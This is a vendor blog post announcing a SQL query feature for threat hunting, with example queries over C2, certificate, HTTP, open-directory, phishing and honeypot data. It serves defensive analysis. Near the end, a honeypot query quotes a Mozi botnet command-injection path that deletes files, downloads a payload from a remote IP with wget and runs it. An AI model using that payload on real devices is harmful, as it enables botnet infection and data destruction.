Announcing Hunt SQL

Published on

Oct 3, 2024

Introduction

Hunt is excited to announce the release of Hunt SQL for threat hunting and analysis. This is a new feature that allows researchers, analysts and threat hunters to query the extensive Hunt database using the power and flexibility of SQL.

Researchers will be able to use SQL to write custom queries across six databases of activity, with each providing unique insights into attack patterns and TTP’s of actors.

This initial release of Hunt SQL will contain:

Researchers will be able to use SQL to write custom queries across six databases of activity, with each providing unique insights into attack patterns and TTP’s of actors.

This initial release of Hunt SQL will contain:

HTTP - Users can query first party HTTP data to identify threat actors and malicious activity.
Malware - Users can query the Hunt database of confirmed C2 servers and build detailed statistics on threat actor activity.
Certificates - Users can query first party certificate data, allowing users to track and identify malicious certificates.
HoneyPot - Users can query honeypot data and obtain detailed stats on internet scanning activity.
Open Directories - Users can query the Hunt database of past and present open directories. This helps discover malware, exploits and attack tooling.
Phishing - Query an extensive list of phishing sites to identify and track phishing kits and threat actor tooling.

HTTP - Users can query first party HTTP data to identify threat actors and malicious activity.
Malware - Users can query the Hunt database of confirmed C2 servers and build detailed statistics on threat actor activity.
Certificates - Users can query first party certificate data, allowing users to track and identify malicious certificates.
HoneyPot - Users can query honeypot data and obtain detailed stats on internet scanning activity.
Open Directories - Users can query the Hunt database of past and present open directories. This helps discover malware, exploits and attack tooling.
Phishing - Query an extensive list of phishing sites to identify and track phishing kits and threat actor tooling.

Getting Access

Access to Hunt SQL can be obtained by signing up for a free demo.

Examples and Use Cases

To showcase the features of Hunt SQL, we’ve selected a short set of example queries to demonstrate the flexibility and use cases.

Search and Sort Confirmed C2 Data

The malware database contains 48 searchable fields on confirmed C2 servers discovered by Hunt.

Users can view current C2’s and configurations for a specific family, or use the data to build detailed statistics about how and where a malware is being hosted.

The malware database contains 48 searchable fields on confirmed C2 servers discovered by Hunt.

Users can view current C2’s and configurations for a specific family, or use the data to build detailed statistics about how and where a malware is being hosted.

Search Unique IP/Port Combinations Hosting Cobalt Strike

Hunt users can use SQL to query our C2 database and view active command and control (C2) servers associated with Cobalt Strike.

Users can specify any tracked malware family and any data field that is relevant to their investigation or use case.

Hunt users can use SQL to query our C2 database and view active command and control (C2) servers associated with Cobalt Strike.

Users can specify any tracked malware family and any data field that is relevant to their investigation or use case.

SELECT  
    malware.name,ip, port  
FROM  
    malware  
WHERE   
    malware.name == 'Cobalt Strike'   
GROUP BY   
    malware.name,ip, port

A short snippet of the results can be seen below. For simplicity sake, we’ve chosen to limit the results to the malware.name, ip and port fields.

See Which ASN’s Are Hosting Malware

Users can write custom queries to build statistics on ASN’s and hosting providers. An example of this is seeing which providers have hosted the most unique malware families.

The below query searches for ASN’s and how many unique malware families have been associated since the start of 2024.

Users can write custom queries to build statistics on ASN’s and hosting providers. An example of this is seeing which providers have hosted the most unique malware families.

The below query searches for ASN’s and how many unique malware families have been associated since the start of 2024.

SELECT 
    asn.name, uniq(malware.name) as instances
FROM
    malware
WHERE 
    timestamp.day gt '2024-01-01' 
GROUP BY 
    asn.name 
ORDER BY 
    instances DESC

The results show that Amazon.com, Inc. is the provider with the most unique malware families, totalling 65 unique families during 2024.

Search For Most Common Malware Observed on a Given ASN

Users can build on the previous query and dive into a specific ASN and which malware it has hosted.

For example, we can dive into Amazon.com, Inc. and see which malware has been hosted there and how many unique servers each has been hosted on during 2024.

Users can build on the previous query and dive into a specific ASN and which malware it has hosted.

For example, we can dive into Amazon.com, Inc. and see which malware has been hosted there and how many unique servers each has been hosted on during 2024.

SELECT
    asn.name, malware.name, uniq(ip, port) as instances
FROM
    malware
WHERE
    timestamp.day gt '2024-01-01'
    AND asn.name == 'Amazon.com, Inc.'
GROUP BY
    asn.name, malware.name
ORDER BY instances desc

Ordering by most popular, we can observe that Stealc was the most popular malware hosted on Amazon.com, Inc. Stealc was followed closely by Havoc, Sliver and Metasploit.

Search ASN’s Most Associated With a Given Malware Family

Users can flip the previous query and see where a particular malware family has been hosted.

For example, let’s look up Bianlian and see which ASN’s have been hosting it and how many unique ip/port combinations were on each ASN.

Users can flip the previous query and see where a particular malware family has been hosted.

For example, let’s look up Bianlian and see which ASN’s have been hosting it and how many unique ip/port combinations were on each ASN.

SELECT
    malware. name, asn.name, uniq(ip, port) as instances
FROM
    malware
WHERE
    malware.name == 'Bianlian'
GROUP BY
    malware.name, asn.name
ORDER BY
    instances DESC

Our search shows that “Clouvider” was the most popular ASN for Bianlian, with 22 unique ip/port combinations present.

This was closely followed by M247 Europe SRL with 19 unique instances.

Our search shows that “Clouvider” was the most popular ASN for Bianlian, with 22 unique ip/port combinations present.

This was closely followed by M247 Europe SRL with 19 unique instances.

Hunt, Sort and Pivot on SSL Certificates

The certificates database contains 34 searchable fields that allow users to hunt through certificates and obtain detailed histories for specific hosts.

Users can hunt and pivot on known malicious values, or utilize the database to build detailed and customized certificate histories for a host.

The certificates database contains 34 searchable fields that allow users to hunt through certificates and obtain detailed histories for specific hosts.

Users can hunt and pivot on known malicious values, or utilize the database to build detailed and customized certificate histories for a host.

Search For a Certificate Value

Users can search for a specific certificate value and view all ip and port combinations where the certificate value was observed.

Below is a short example searching for AsyncRAT Server in subject common names.

Users can search for a specific certificate value and view all ip and port combinations where the certificate value was observed.

Below is a short example searching for AsyncRAT Server in subject common names.

SELECT
    ip
    port,
    subject.common_name
FROM
    certificates
WHERE
    subject. common_name == 'AsyncRAT Server'
    AND timestamp.day gt '2024-01-01'

A short snippet of the results can be seen here.

View Customized Certificate History For a Host

Users can search an IP address and view a customized history of certificate activity.

For example, a user can search an ip address and view ip, port and subject common names alongside a timestamp of when they were observed.

This particular IP is associated with AsyncRAT.

Users can search an IP address and view a customized history of certificate activity.

For example, a user can search an ip address and view ip, port and subject common names alongside a timestamp of when they were observed.

This particular IP is associated with AsyncRAT.

SELECT
    timestamp, ip, port, subject.common_name
FROM
    certificates
WHERE
    ip == '47.121.120.18'
    AND
    timestamp.day gt '2024-01-01'

A snippet of the results can be seen below, showing AsyncRAT server first appearing on 2024-07-31 on port 8808, before changing to port 7707 on 2024-07-30.

Pivot on a JA4X Hash

Users can query and pivot on JA4x values. This allows users to quickly pivot on JA4x hashes and identify related certificates during investigations.

Below is a short example, searching for a JA4X value initially seen in a Quasar RAT certificate.

Users can query and pivot on JA4x values. This allows users to quickly pivot on JA4x hashes and identify related certificates during investigations.

Below is a short example, searching for a JA4X value initially seen in a Quasar RAT certificate.

SELECT
    ip, port, subject. common_name, ja4x. full
FROM
    certificates
WHERE
    AND ja4x. full == '7022c563de38_7022c563de38_0147df7a0c11'

Search, Sort and Pivot on HTTP Scan Data

The HTTP database contains 24 searchable fields that allow a user to hunt through HTTP scan data.

Users can search, sort and pivot on HTTP headers, bodies, hashes and more.

The HTTP database contains 24 searchable fields that allow a user to hunt through HTTP scan data.

Users can search, sort and pivot on HTTP headers, bodies, hashes and more.

Search HTTP History of a Specific Host

Users can search for an IP address and view a detailed history of HTTP activity and scan results.

Users can search for headers, bodies, ports, statuses and many more.

Users can search for an IP address and view a detailed history of HTTP activity and scan results.

Users can search for headers, bodies, ports, statuses and many more.

SELECT
    *
FROM
    http
WHERE
    ip == '175.136.232.226'

Search Specific HTTP Fields of a Given IP

Users can specify fields of interest to simplify the results. This can significantly streamline the data and allow users to focus on what matters most.

For example, users can show only the ip, port and raw header values observed on a given IP.

Users can specify fields of interest to simplify the results. This can significantly streamline the data and allow users to focus on what matters most.

For example, users can show only the ip, port and raw header values observed on a given IP.

SELECT
    ip,port,header.raw
FROM
    http
WHERE
    ip == '175.136.232.226'

The results show numerous other IP, port and header combinations. Each containing the X-Havoc value and linked to the same malware family.

Pivot on a Header Value Using LIKE and Wildcards

Users can pivot on unique and interesting values using LIKE SQL syntax.

In the previous query we identified the interesting string of X-Havoc, we can utilize a new query to pivot on this value and find other servers sharing similar headers.

Users can pivot on unique and interesting values using LIKE SQL syntax.

In the previous query we identified the interesting string of X-Havoc, we can utilize a new query to pivot on this value and find other servers sharing similar headers.

SELECT
    ip,port,header.raw
FROM
    http
WHERE
    header. raw LIKE '%X-Havoc%'

The results show numerous other IP, port and header combinations. Each containing the X-Havoc value and linked to the same malware family.

Discover and Pivot on Open Directories

The open_directory database contains 16 searchable fields, providing detailed information on open directory files observed and saved by Hunt.

Users can utilize this database to discover, sort and pivot on open directory files using the flexibility of SQL.

The open_directory database contains 16 searchable fields, providing detailed information on open directory files observed and saved by Hunt.

Users can utilize this database to discover, sort and pivot on open directory files using the flexibility of SQL.

Search For Files on a Specific IP Address

Users can search for an IP address and observe files that have been seen on any open directories for that IP.

The below search finds all files hosted on 45.83.207[.]67 during the year 2024. Duplicates are removed using GROUP BY, and only the ip, file_url and file_name are shown.

Users can search for an IP address and observe files that have been seen on any open directories for that IP.

The below search finds all files hosted on 45.83.207[.]67 during the year 2024. Duplicates are removed using GROUP BY, and only the ip, file_url and file_name are shown.

SELECT
    ip, file_url, file_name
FROM
    open_directories
WHERE
    ip == '45.83.207.67' AND timestamp.day gt '2024-01-01'
GROUP BY
    ip, file_url, file_name

The results show 23 unique files for 2024. These files include references to xworm.exe, x.exe and svchost.exe. All suspicious filenames that are commonly used for malicious purposes.

Pivoting on an Open Directory File Name

The previous query identified svchost.exe as a suspicious file on an open directory.

Users can find other open directories hosting the same file name using a search like the one below. This query searches for svchost.exe observed on open directories in the year 2024.

The previous query identified svchost.exe as a suspicious file on an open directory.

Users can find other open directories hosting the same file name using a search like the one below. This query searches for svchost.exe observed on open directories in the year 2024.

SELECT
    ip, file_url, file_name
FROM
    open_directories
WHERE
    timestamp.day gt '2024-01-01'
    AND file_name == '/svchost.exe'
GROUP BY
    ip, file_url, file_name

A short snippet of the results is shown below, with at least five unique servers hosting files named svchost.exe.

Discover Phishing Sites with The Phishing Database

The phishing database contains eight searchable fields and provides users with detailed data on phishing pages discovered by Hunt.

Search for Recent Confirmed Phishing Pages

Users can use the phishing database to query for confirmed phishing urls seen since the 1st of July, 2024.

SELECT
    url
FROM
    phishing
WHERE
    timestamp.day gt '2024-07-01'
    AND verdict == 'confirmed_malicious'
GROUP BY
    url

The first five results are displayed below. This is a very simplified view, and users are able to display any fields relevant to their investigation.

Cluster Scanning Activity With Honeypot Data

The honeypot database contains 33 fields related to scanning activity observed by Hunt honeypots.

These fields can be queried to find out where scanning activity is taking place, what it is trying to trigger, and where the scanning activity is coming from.

The honeypot database contains 33 fields related to scanning activity observed by Hunt honeypots.

These fields can be queried to find out where scanning activity is taking place, what it is trying to trigger, and where the scanning activity is coming from.

Find Most Popular User Agents Used by Scanners

Users can search for user agents used by scanners that have hit the Hunt honeypots.

These user agents can be counted and sorted to find the most and least popular values.

Users can search for user agents used by scanners that have hit the Hunt honeypots.

These user agents can be counted and sorted to find the most and least popular values.

SELECT
    user_agent,
    count(*) AS hits
FROM
    honeypot
GROUP BY
    user_agent
ORDER BY
    hits DESC

This reveals that the most popular user agent is an empty value, closely followed by the user agent of a Palo Alto scanner.

Find Which ASN’s Are Scanning a Particular HTTP Path

Users can provide a specific HTTP path and query ASN’s where the scanning activity came from.

In this we have specified a HTTP path associated with Mozi, and utilized Hunt SQL to show the ASN’s that have scanned for the path.

Users can provide a specific HTTP path and query ASN’s where the scanning activity came from.

In this we have specified a HTTP path associated with Mozi, and utilized Hunt SQL to show the ASN’s that have scanned for the path.

SELECT
    asn, as_org_name, count(*)
    as hits
FROM
    honeypot
WHERE
    http_path == '/cgi-bin/;cd${IFS}/var/tmp;rm${IFS}-rf${IFS} *; ${IFS}wget${IFS}http://117.235.35.158:57010/Mozi.m;${IFS}sh${IFS}/var/tmp/Mozi.m'
GROUP BY
    asn, as_org_name

This reveals the only ASN scanning this path has been Bharat Sanchar Nigam Ltd from an ASN number of 9829.

Summary

We’re excited to release Hunt SQL and to provide the power and flexibility of SQL to researchers, analysts and threat hunters alike.

To try it out for yourself, sign up for a free demo and leverage the power of Hunt SQL today.

(Or check out some of the amazing research from our team)

We’re excited to release Hunt SQL and to provide the power and flexibility of SQL to researchers, analysts and threat hunters alike.

To try it out for yourself, sign up for a free demo and leverage the power of Hunt SQL today.

(Or check out some of the amazing research from our team)

Ready to get started?

We can help you unravel networks of threat actor infrastructure blending into hosting providers.

Get a Free Demo Today

Ready to get started?

We can help you unravel networks of threat actor infrastructure blending into hosting providers.

Get a Free Demo Today

Ready to get started?

We can help you unravel networks of threat actor infrastructure blending into hosting providers.

Get a Free Demo Today

Hunt Intelligence, Inc.